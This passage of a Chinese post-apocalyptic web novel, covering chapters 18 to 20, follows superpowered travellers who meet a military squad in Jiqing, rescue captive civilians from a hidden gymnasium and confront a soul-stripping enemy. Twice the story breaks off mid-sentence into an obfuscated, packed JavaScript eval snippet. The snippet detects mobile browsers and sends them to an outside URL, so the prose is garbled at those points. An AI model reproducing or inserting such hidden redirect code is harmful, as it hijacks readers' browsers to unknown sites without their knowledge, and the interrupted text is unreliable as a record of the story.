显然,伏苓是个合格的捕猎手,她安静地等了两分钟,那处拐角才隐隐约约发出声音。 很轻。 但在场众人都听到了。 他们紧绷着肌肉,死死盯着那处拐角。 伏苓似乎是突然意识到了什么,突然一改方才谨慎的模样,出声:“有不少人。” 她声音不大,但在寂静的空气中格外显眼。 “谁在那边?”中气十足的声音从拐角处传来,紧接着,脚步声纷乱。 “十几个人。”程承顺着推测了一下。 很快,那队人便出现在了众人面前。 他们身着军装,但却衣衫破败,背负着沉重的武器,身上满是泥土和灰尘,难掩疲惫。 为首的一位男子抬手,身后的人安静下来,警惕地看着众人。 那男子微微颔首,发问道:“你们是谁?” 伏苓声音懒散,目光落在这些人身上,心中隐隐有了些许猜测:“路过的。” 许是见他们都是新面孔,那男子暗中松了口气:“原来是这样,不好意思,误会你们了。但是,集庆现在非常危险,你们还是尽快出城吧。” “危险?”这可和当时守城卫兵的说法完全不一致。程承对上他的目光,礼貌问道:“但我看这里也没什么感染者啊?” 那男子苦笑一声:“不,集庆的危险不在于感染者……” 他话语还未落下,侧边忽地响起一道枪声,男子下意识朝着声源处看去。 身后的战士们猛地大喊:“队长小心!” 他瞳孔微缩,努力调动着自身的肌肉,试图躲开。 但再怎么反应迅速也不可能躲过这道几乎近在咫尺的攻击。 时间仿佛放慢了脚步,每一秒都显得漫长而沉重。死亡的阴影笼罩在自己身上。 他自觉,今日恐怕是要栽在这里了。 一瞬间,无数回马灯涌上心头,曾经的一切,如放电影一般在他眼前划过。 如果、如果林队还在…… “砰”。 红雾成墙,光芒万丈,与子弹撞击在一起。 那男子被撞击后产生的能量波撞到在地,风沙刮过,他愣愣地看着挡在自己面前的异能。 身后的人赶紧上前:“队长!你没事吧?” 但那男子却像是没听见一般,蓦地回神,转头,看向了伏苓身后的人,对视的那一瞬间,他眼底不自觉地涌上泪来:“林队……” 林随遇的异能他永远都忘不掉,那是队中唯一的、杀伤力最强的光系异能。 只是可惜,当年死在了那场地铁事故中。 但他怎么也没想到,林随遇居然没死!甚至…… 他看向林随安,眼泪止不住地流下,喜极而泣:“随安!你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926298|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没死,太好了,太好了……” 他情绪激动,一句接一句地说着“太好了”。 程承没管他们,红雾飞速向攻击方向涌去。伏苓甩出软剑,飞身跃去。 周围寂静一片,她站在断墙上,扫了一圈,冷声道:“跑了。” 稀奇,这还是第一个从她手里溜掉的人。 伏苓短暂地升起一股躁动,想将此人狠狠地踩在脚底下。 红雾也没找到什么,缓缓收回。程承摇了摇头:“跑这么快。” 伏苓跳下墙头:“反正明天他们也会去体育馆,不是吗?” 明天是林家兄妹进入幻境满七年的时间,如果他们推测得不错,那幕后之人一定回去带走他们俩的身体。 不管他们制造幻境是为了什么,像林家兄妹这么强劲的异能和身体素质,伏苓觉得背地里的人绝对垂涎已久。 那边几人已经聊了几句,见伏苓和程承走近,那男子介绍道:“你们好,叫我谢增就好。” 也不知是不是因为在棺材里待了七八年,林随遇和林随安的容貌与之前相较不大,而原本与林随遇年纪相仿的谢增看上去要老了十岁。 林随安看了眼他身后面露疲惫的战士们:“能不能给我们讲讲这几年发生了什么?” 他们从幻境出来不过半小时不到,却已经察觉到了如今形势的复杂。 集庆多半是有一个民间组织与军区对抗,甚至他们的实力要在军区之上,否则这些战士们不可能这么疲惫不堪。 说到这个,谢增叹了口气,他的眉始终蹙着,如今又多了几分愁虑:“当年你们消失后,上级才研究出雨水中所蕴藏的物质,总的来说,就是被雨水淋到的人会变成异能者和无能力者中的其中一个,概率未知。在这种情况下,军区自然不可能让战士们去冒险淋雨以求一分成为异能者的概率,所以直至现在,军区中的异能者屈指可数。” “而与之相对的,民间的异能者队伍逐步壮大,发展成为一个足以与军区抗衡的组织。他们追求极致的力量,为此不惜伤害民众。”谢增说。 这段话里的信息太多,几人愣了几秒。太多疑问想问出口,却被谢增打断:“我知道你们有很多问题,之后我会跟你们一一解释,但现在当务之急是找到体育馆。” 体育馆? 祝无忧指着身后巍峨的建筑,愣愣道:“不就在那吗?” 谢增顺着她指的方向看去,一脸茫然:“哪呢?” 他神色不似作假,程承抛开方才接收到的巨大信息量,皱眉反问:“所以,你们看不到体育馆?” 看来促成这一切的组织将每一步都算好了,为了安全放置身体,他们将体育馆从军区眼皮底下屏蔽。 不过这是什么异能?他们又是怎么做到的? 原先程承以为造成这一切的只好有两人——不,现在来看,起码得有三人。 剥离魂魄,制造幻境,还有创造体育馆下的那块空间。 除此以外,还有屏蔽体育馆的异能? 程承摇了摇头。 也不对,如果只是屏蔽体育馆,那军区在这里扫荡这么长时间不可能没有摸到体育馆的墙壁。 或者……他们是把体育馆也纳入了另一块空间? 所以这栋庞大的建筑才会从现实世界里凭空消失,因为它根本就不在他们所处的空间,而是某位异能者单独开辟了一块空间安置体育馆! 19. 守护者的黑色堡垒11 “你们可以看到?那能不能带我们过去?很多百姓都被关在那里。”谢增一下子变得有些着急。数千民众失踪多年,晚一分钟就可能多一个人死在坏人手里。 “放心,他们现在还算安全。”林随遇安抚道:“所以,那些人为什么要把百姓关起来?” 伏苓没说话,但在下一个拐角转向了前往体育馆的路上,其他人也纷纷跟上。 谢增看着眼前的队伍对伏苓言听计从的样子,目光在伏苓身上停留了好几瞬。 无能力者? 为什么这些异能者对一个无能力者这么唯命是从? 他抿唇,也不好发问,只能解释道:“他们想将百姓喂给感染者,从而使感染者实力增强……” “打断一下,”林随安抬手:“这对他们有什么好处?” 她实在无法想象,为什么会有人想要感染者实力增强? “这个也是之前研究出的结果之一,刚刚我提到过,感染者和异能者都是因为雨水变异产生的结果,他们本质上是因为同一物质导致的,具体是什么我们还在研究。”谢增说,“但那群混蛋不知道从什么地方得知了这一消息。他们以感染者为食,并试图通过向感染者喂食人类身体让感染者变强大,这样被他们吸收的能量就会更多。” “我去……”祝无忧无意识呕了一声,“好恶心。” 林随遇神色有点冷:“这种被军区封锁的消息他们怎么会得到?” “也未必是从军区得到的消息。”程承说,“感染者与异能者存在的情况已经八年,这群人又是以感染者为食,自然会遇到实力不同的感染者。八年了,足够他们实践出感染者强大与否的原因,和他们实力增强与所食感染者实力的关系。” 林随安抿着唇,一向波澜无惊的语气带上了些许愤怒:“也就是说,他们绕这么大的圈子,就是为了避开军区视线追捕百姓来增强自己的实力?” 她咬牙:“这群畜生!” 体育馆近在眼前,伏苓停下脚步,声音平淡:“到了。” 谢增的视线茫然地扫了一圈,最后停留在伏苓身上:“女士,我看不到。能不能请你帮我开一下门?” “可以。”伏苓点点头,纠正道:“伏苓。” 谢增愣了一瞬,似乎是没明白。程承翻译道:“她的意思是,叫她伏苓就好。” 伏苓上前一步,推开大门。 腐朽的气息扑面而来,在谢增他们眼中,黑色的庞然大物几乎贴着他的鼻尖陡然出现,他下意识退后半步,瞳孔剧烈收缩。 光线照入,馆内还在叽叽喳喳的人们霎时间安静了,个个瞪着大眼睛一眨不眨地看向门口。 谢增短暂地愣神两秒,立刻下达命令道:“快,马上带着百姓回军区!” 对立组织的一波攻击刚刚撤离,短时间内大概率不会再来,这是转移民众的最好时机,一分一秒都不能浪费。 谢增不愧是常年在军队里的人,说话的时候吐字清晰、气沉丹田,不知是因为体育馆内没人说话还是因为他的声音实在是太洪亮了。一时间,整个体育馆内都回荡着他气势如虹的声音,以及紧接着战士们进入的脚步声。 小陈呆呆站着,喃喃道:“军区……是军区的人!” 他的叫声如同一个地雷炸进水潭,溅起一片浪花。 人群突然喧嚣起来,哭喊声震天动地。 “军区”两个字在他们眼里就像守护神一般,只要听到,心里便会安心许多。 小陈方才跟大伙解释过如今的情况,他知道的不多,但已经尽可能将自己知道的信息都公之于众。 可即便如此,盘旋在在场百姓头上的疑问依旧很多。 “我打断一下!”有人大吼出声,周围蓦地安静下来,许多人都停下的动作,朝这人看过来。 大吼的是一个男人,在棺材里待了多年,他身形枯槁,面容蜡黄,看上去精气神并不好,但依旧用尽浑身的力气质问:“我想请问一下,我们这些年到底身处什么地方?那幻境对于我们来说到底是好是坏?如果是好,为什么要把我们从里面拉出来回到这个满目狼藉的现实?如果不好,为什么到现在才救我们出来?七年,我们在里面度过了七年!军区说好保护百姓,保护的结果就是七年之后才将我们从泥坑中拉出来?” 他张开双臂,露出几乎只剩下骨头的手臂:“你们看看我现在是什么样子?我们现在是什么样子?我们该怎么用这副身子对抗现实?还不如就在幻境里死了算了!起码还算是安乐死。” 伏苓靠在墙上,微微皱了皱眉。 祝无忧凑过来,小声问:“不会吵起来吧……” 程承也压低声音:“放心,谢增他们肯定是以安抚为主。” 果然,谢增看着男人,深深鞠了一躬:“抱歉,这确实是我们的错。是我们不够强大,才浪费了这么多时间,对你们造成的伤害,我很抱歉。” 馆内鸦雀无声,谢增直起身子,直视着男人的双眸,认真道:“但是,我可以肯定地告诉你们,幻境绝非好事,能在真正出事前找到你们,我真的很高兴。请各位放心,军区不会让你们上阵杀敌,我们会保护你们的安全。请大家冷静一下,先跟我们回去,这里不宜久待,至于其他,我会在回到安全的地方跟大家解释。” 男人看着他,半晌,他放下双臂:“……好,那我就,再相信你们一次。” 谢增松了口气,招呼战士们:“快。” 他带的人不多,没办法带着这么多情绪激动的百姓迅速回到军区,早在见到体育馆时,谢增就已经发出支援请求,几人对峙这么一小会,支援的战士们已经到了。 一切都井然有序地进行着。 伏苓抱着臂,程承站在她身侧,侧头看着她翘长的睫毛:“晚上我们在这待着?” 伏苓颔首:“行啊。” 祝无忧被群众情绪感染,眼泪汪汪地上去帮忙。伏苓看着她的身影,声音轻轻:“明天他们会来。” 那些靠吸百姓血的异能者。 她不知道他们是谁,也不知道他们有多少人,但她觉得,自己该留下,彻底清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926299|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缴这些害群之马。 程承笑了一下,眼睛弯弯的:“嗯,那我们一起。” 林随安走了过来,她没有去帮忙安慰百姓,看着两人道:“你们是不是准备留下来以身犯险?” 程承点头,又摇摇头:“也不能算是以身犯险,只不过是守株待兔。” 林随安叹了口气:“差不多,不过也没有让外来者深陷危机的道理,我和哥哥会跟你们一起。” 毕竟那些人是为了她和林随遇的身体,他们俩必须在这。 程承也没拒绝,在不知道敌方实力的情况下,己方人越多胜算越大。但他还有一点顾虑:“我们将幻境打破了,他们会不会发现?” 林随安想了片刻,才摇头道:“我个人倾向于不会,如今幻境只破了一个小口,于整个幻境来说,几乎微不可察。” 她顿了顿,继续道:“幻境里还有很多出不来的人,他们完全可以维持幻境的运行,短时间内,多半不会被察觉。” 只是没想到,那些无法逃离的百姓,却是这场对抗中最重要的一环。 林随安心中有些苦涩。 果然,最后还是需要一批人的牺牲,才能维持大局稳定。 军区的人来得很快,百姓被陆陆续续地接走。他们训练有素,做起事情干脆麻利。 很快,馆内就剩下了伏苓他们五人。 程承绕着体育馆走了一圈,看着被伏苓破坏得彻底的棺材,叹了口气:“明天他们看到这些可怎么办?” 他原本想的是几人躲进棺材里,趁他们不备率先攻击的,但看样子怕是不太行了。 伏苓笑嘻嘻道:“他们进来,我们直接杀就行。” 眼下也只能这样了,程承认命地在伏苓身侧坐下。 于程承不同,祝无忧闻言却是松了口气。 她才不要进那棺材里呢,多吓人啊。 林随遇在几人中间放了个光球,暖烘烘的,还挺舒服。 祝无忧将手伸过去了些,感受到灼人的温度,惊奇道:“你这异能还能发热呢?” 林随遇瞥了她一眼,得意道:“当然,我很厉害的。” 他脑袋摇摇晃晃,将头发晃来晃去,林随安将他头顶翘起的呆毛摁下:“别吹牛了,哥哥。” 林随安喊”哥哥”吐字总是清晰的,尾音下跌,音色薄凉,却显得格外有感觉。 祝无忧看了她一眼,心想要是林随安喊自己哥哥,她说不定会直接沦陷。她鼓起勇气:“你能喊我一声哥哥吗?” 似是没想到她会这么说,林随安微微一愣。 “好啊你!”林随遇跳了起来,指着她满脸震惊:“你还想跟我抢妹妹?” 他气得深呼吸了两下,才继续控诉她:“就算抢,让她喊你姐姐就算了,凭什么让她喊你哥哥?我才是她唯一的哥哥!” 祝无忧也意识到自己刚才说了什么惊世骇俗的话,她面色微红,有些不好意思,但又不甘心被林随遇指着鼻子骂,顿时也跳了起来:“凭什么只喊你不喊我?我也要被喊哥哥。” 20. 守护者的黑色堡垒12 程承扶了一下额。 本来只有个祝无忧还算好带,现在多了个林随遇,他都不知道该怎么控制场面。 伏苓侧了侧头,两人目光不经意间对视。她笑了一下,似乎是有点困了,声音莫名轻软:“哥哥?这两个字这么大魔力?” 程承被这声“哥哥”喊得差点直接跌倒在地,他扶着棺材,深呼吸了几下才稳住:“不知道,我不懂,我没有弟弟妹妹。” 林随安目睹了两人说话的全过程,若有所思地挑了挑眉。 祝无忧和林随遇没吵多久,谢增便带着人回来了。 一看到他们进来,林随遇立马闭嘴,装出一幅高冷的样子。 谢增笑了一下,没留情面:“林队,你们吵架的声音在馆外就听到了。” “哈哈哈!”祝无忧发出毫不掩饰的嘲笑声,“也就只有你自己觉得林随遇是沉稳高冷的人了。” 林随遇:“……” 他闭了闭眼,咬牙切齿:“能闭嘴吗?” 他一把拉过林随安:“随安你说,我是不是也经常沉稳的?” 林随安点点头,认真道:“对,哥哥偶尔确实很沉稳。” 林随遇“哈”了一声:“经常,是经常好吗?” 看着几人吵吵闹闹的样子,谢增弯了弯眼。 其实他们都没变,才是最好的事情。 林随安看向伏苓,问道:“跟你们同行这么久,我一直没问过你们为什么要来集庆。” 伏苓换了个舒服的姿势靠着:“只是路过。我们要去肃州。” “肃州?”林随遇注意力被吸引:“去那么远的地方做什么?” 伏苓坐的离程承很近,两人的胳膊碰在一起,她无意识地将一部分重量压在程承的胳膊上,懒洋洋地说:“去拯救世界啊。” 这句话半是认真半是开玩笑。 虽然听上去有点不着边际,但林随安不觉得伏苓会莫名其妙编出这么个理由来,一定是因为他们要去肃州的理由与“拯救世界”搭边。 所谓的拯救世界——她可以猜到,就是这场持续了八年的灾难。 数年来,即便他们身处幻境,林随安也始终没有放下过这场雨灾,而今她回到现实,见到了无数与灾难对抗的战友、被灾难磋磨的百姓、原本和平富裕的城市在一场场足以致命的雨水中化成腐朽的废墟。 她迫切地渴望结束这一切,想将世界扳回正轨,但却始终看不到一点可以改变现状的机会。 而此刻,似乎这个机会近在眼前。 林随安抬眼对上伏苓的眸子,浓密的睫毛下,伏苓眼中调笑的情绪下仿佛蕴藏着无数复杂的感情,像火山之下滚烫的岩浆,涌动着,寻找着喷溅出世的机会。 那股极具生命力的岩浆被山灰掩藏,伏苓勾了勾唇:“要一起吗?” 林随安一时之间呆愣住了,他们之间并不熟悉,甚至一个小时之前,他们还是站在对立面的强劲对手。 伏苓就这么,对她发出邀请了吗?她不需要考察一下自己和哥哥的基本情况吗? 她下意识发问:“可是,我们才相处不到一个小时。” 你真的敢把后背交给一个陌生人吗? 伏苓无所谓地耸耸肩:“那又怎么样?现在这个世道,还能挤出时间给我们慢慢相处培养感情吗? 也是。 林随安垂下眸子。心脏疯狂跳动。 扪心自问,她对伏苓的邀请是心动的,但先不说这一趟会有多危险,单说集庆如今也还是需要他们的。 见她许久未说话,伏苓宽慰道:“没事,不急着做决定。我们先解决集庆的问题。” 林随安点点头,顿了顿又看向还在忙活的谢增:“增哥,你们对那个组织了解多少?他们的人数、异能、实力都清楚吗?” “他们人数很多,规模最大的时候有近三百人,每个人的实力都很强。我们与他们制衡多年,俘获了不少骨干成员,如今可能还有一百来人吧。”谢增说,“明天来的若是这些成员还好,他们虽然实力强劲,但也没到不可战胜的地步。需要注意的是这组织里面有三个核心成员,我们只和其中两人打过交道,一个异能是制造幻境,一个是创造异空间。” 他顿了顿:“还有一个人我从未见过,可能是负责后勤工作的。但是……” 他扫了一圈周围破碎的棺材:“之前我们一直在猜测最后一人的异能究竟是什么,如今似乎已经有结果了。” 林随安了然,她往后靠了靠,眉心微蹙:“这个异能……似乎有点棘手。” 程承点点头,表情同样凝重:“如果明天来的是这最后一人,可能就有些麻烦了,得想个法子……” 祝无忧疑惑地看看这个看看那个:“额,你们都猜到了?你们背着我建小群了?异能是什么啊,为什么不直说啊?” 林随遇叹了口气,满脸悲痛:“什么!他们没有拉你吗?太过分了!” 祝无忧炸毛:“真有小群?!” 一只手摁住她炸起来的脑袋,伏苓语气平平:“没建,异能是剥离魂魄。” 祝无忧猛地转头:“哦……哦?哦!” 林随遇乐不可支:“你个傻子。” 伏苓抱着臂:“其实,也没那么难搞。” 众人的目光齐刷刷地看向伏苓。 她微微一笑:“他剥不了我的魂魄。” 夜色厚重,几人又聊了几句便安静了下来。 程承从包里抽出一件薄外套,轻手轻脚地盖在歪在棺材壁上睡觉的伏苓身上。 他目光在她安静垂着的睫毛上顿了顿,又抿着唇缓缓移开。 …… 翌日。 馆内一片安静,只有偶尔几人传来的清浅呼吸声。 咔擦—— 伏苓突然睁开眼睛,对上了程承的双眸。 程承显然也是刚醒,有些慌乱地移开目光,故作镇静道:“醒了?” 伏苓没有回答他,她安静了两秒,声音轻轻:“有人来了。” 程承顿时紧绷起来,他点了点头,红雾弥漫,落在所有人的鼻尖,众人悠悠转醒。 伏苓悄无声息地走到大门一侧。 门外没什么声音,如果伏苓刚刚没有听见那一声清脆的踏碎枯叶的声音,她或 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仿佛一张无形的大手扼住脖颈,所有异能和攻击都停在了距离他半寸的地方,然后,如同一阵迎风的粉末一般散去。 程承力道失控,向前踉跄,他猛地回头。 身后“程承”的身体软绵绵地倒了下去,砸在地上。 他抬起手,透过手掌看到了地面。 魂魄离体。 程承瞬间反应过来。 他扫了一眼周围,所有人都面色茫然地飘在半空,身体七横八竖地倒在地上。 门外的人笑了一声,将所有人的注意力都吸引了过来。他模样魁梧,声音却又尖又细,有些娇俏地抬手捂着嘴笑:“在埋伏之前,还是得搞清楚对面人的实力吧?” 他满意地将目光从众人脸上一一扫过:“傻眼了吧?是不是没想到我的异能这么强大,你们——” 他点点谢增,“军区谢队,好厉害的名号哦,今天还不是败在我手下?” 壮汉继续碎碎地念叨着:“就说该让我在一线,要是我早点跟对军区对上,说不定你们早就被我一锅端了,还能对峙八年?” 谢增死死皱着眉,紧盯着他,目光不经意间朝他身后看了一眼。 那壮汉碎碎念了片刻,终于消停下来,掏出腰间的枪,对准了谢增的身体:“再见咯,谢队。” “哦,差点忘了告诉你们,”他突然想到了什么,面露倨傲,将手上的枪转了一圈:“我们的这些武器还是从你们军区拿的,吕翔的异空间虽然比不上我,但好歹有点用,能把你们军库里的武器转移过来。” 林随遇狠狠皱了皱眉:“你们简直!” “生气啦?八年啊,拿了不少呢。”壮汉笑嘻嘻的,显得格外欠揍。 “哎呀算了,跟你们有什么好说的,将死之人罢了。”他再次将枪口目标明确地对准谢增的身体,指腹抵在扳机上。 “跟你们亲亲谢队说再……啊!”就在即将叩响扳机的前一瞬,他发出尖锐的惨叫,手中的枪被一脚踹开,直直摔在地上。